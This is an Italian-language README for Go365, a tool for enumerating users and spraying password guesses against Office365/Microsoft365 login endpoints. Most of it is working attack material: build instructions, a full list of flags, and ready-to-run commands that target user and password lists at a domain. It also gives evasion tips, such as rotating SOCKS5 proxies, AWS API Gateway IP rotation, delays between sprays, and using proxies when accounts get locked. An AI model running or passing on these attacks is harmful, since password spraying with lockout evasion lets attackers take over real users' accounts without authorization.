
Uno strumento di attacco per utenti Office365
Si prega di leggere tutto questo README prima di usare Go365!
Go365 è uno strumento progettato per eseguire enumerazione degli utenti* e attacchi di indovinamento password su organizzazioni che utilizzano Office365 (ora/presto Microsoft365). Go365 utilizza un endpoint SOAP API unico su login.microsoftonline.com che la maggior parte degli altri strumenti non utilizza. Quando viene interrogato con un indirizzo email e una password, l'endpoint risponde con un codice di autenticazione e autorizzazione di Azure AD. Questo codice viene poi elaborato da Go365 e il risultato viene stampato a schermo o su un file di output.
* L'enumerazione degli utenti viene eseguita in combinazione con un tentativo di indovinamento password. Pertanto, non esiste un flag o una funzionalità specifica per eseguire solo l'enumerazione degli utenti. Invece, effettua il tuo primo attacco di indovinamento password, quindi analizza i risultati per trovare gli utenti validi.
Scarica un binario precompilato per il tuo sistema operativo QUI.
Scarica il codice sorgente e compila localmente.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Versione: 2.0
Autori: paveway3, h0useh3ad, S4R1N, EatonChips
Utilizzo:
-h Mostra queste informazioni
Obbligatorio - Endpoint:
-endpoint [rst o graph] Specifica quale endpoint utilizzare
: (-endpoint rst) *Go365 classico!* login.microsoftonline.com/rst2.srf. Richiesta SOAP XML con risposta XML
: (-endpoint graph) login.microsoft.com/common/oauth2/token. Richiesta HTTP POST con risposta JSON
Obbligatorio - Nomi utente e Password:
-u <stringa> Singolo nome utente da testare
: Nome utente con o senza "@domain.com"
: Deve essere fornito anche il flag -d per specificare il dominio
: (-u [email protected])
-ul <file> Lista di nomi utente da utilizzare (sostituisce -u)
: Il file deve contenere un nome utente per riga
: I nomi utente possono avere "@domain.com"
: Se non viene specificato un dominio, viene utilizzato il dominio -d
: (-ul ./listanomiutenti.txt)
-p <stringa> Password da tentare
: Racchiudere tra apici singoli se contiene caratteri speciali
: (-p password123) o (-p 'p@s$w0|2d')
-pl <file> Lista di password da utilizzare (sostituisce -p)
: Il file deve contenere una password per riga
: Il flag -delay può essere utilizzato per includere una pausa tra ogni serie di tentativi
: (-pl ./listapassword.txt)
-up <file> Lista di coppie utente:password da utilizzare (sostituisce tutte le opzioni precedenti)
: Un nome utente e una password separati da ":" per riga
: Attenzione ai nomi utente duplicati!
: (-up ./listautentepassword.txt)
Obbligatorio/Facoltativo - Dominio:
-d <stringa> Dominio da testare
: Utilizzare questo se il nome utente o la lista di nomi utente non include "@aziendabersaglio.com"
: (-d aziendabersaglio.com)
Opzionale:
-w <int> Tempo di attesa tra i tentativi in secondi.
: Predefinito: 1 secondo. 5 secondi raccomandati.
: (-w 10)
-delay <int> Ritardo (in secondi) tra gli spray quando si utilizza una lista di password.
: Predefinito: 60 minuti (3600 secondi) raccomandati.
: (-delay 7200)
-o <stringa> File di output in cui scrivere
: Aggiungerà in coda se il file esiste, altrimenti crea un file
: (-o ./Go365output.out)
-proxy <stringa> Singolo server proxy SOCKS5 da utilizzare
: Indirizzo IP e Porta separati da ":"
: Proxy SOCKS5
: (-proxy 127.0.0.1:1080)
-proxyfile <stringa> Un file con un elenco di server proxy SOCKS5 da utilizzare
: Indirizzo IP e Porta separati da ":" su ogni riga
: Seleziona casualmente un server proxy da utilizzare prima di ogni richiesta
: (-proxyfile ./fileproxy.txt)
-url <stringa> Endpoint a cui inviare le richieste
: 'Invoke URL' di Amazon API Gateway
: Altamente raccomandato l'uso di questa opzione. Cerca su Google o
: dai un'occhiata qui: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://nonrealecreatelo.execute-api.us-east-2.amazonaws.com/login)
-debug Modalità debug.
: Stampa la risposta xml
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Puoi persino programmare l'intera campagna di indovinamento password usando i flag -pl e -delay :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Consiglio: Se ottieni molte risposte "Account bloccato", allora potresti voler usare un proxy o un AWS Gateway.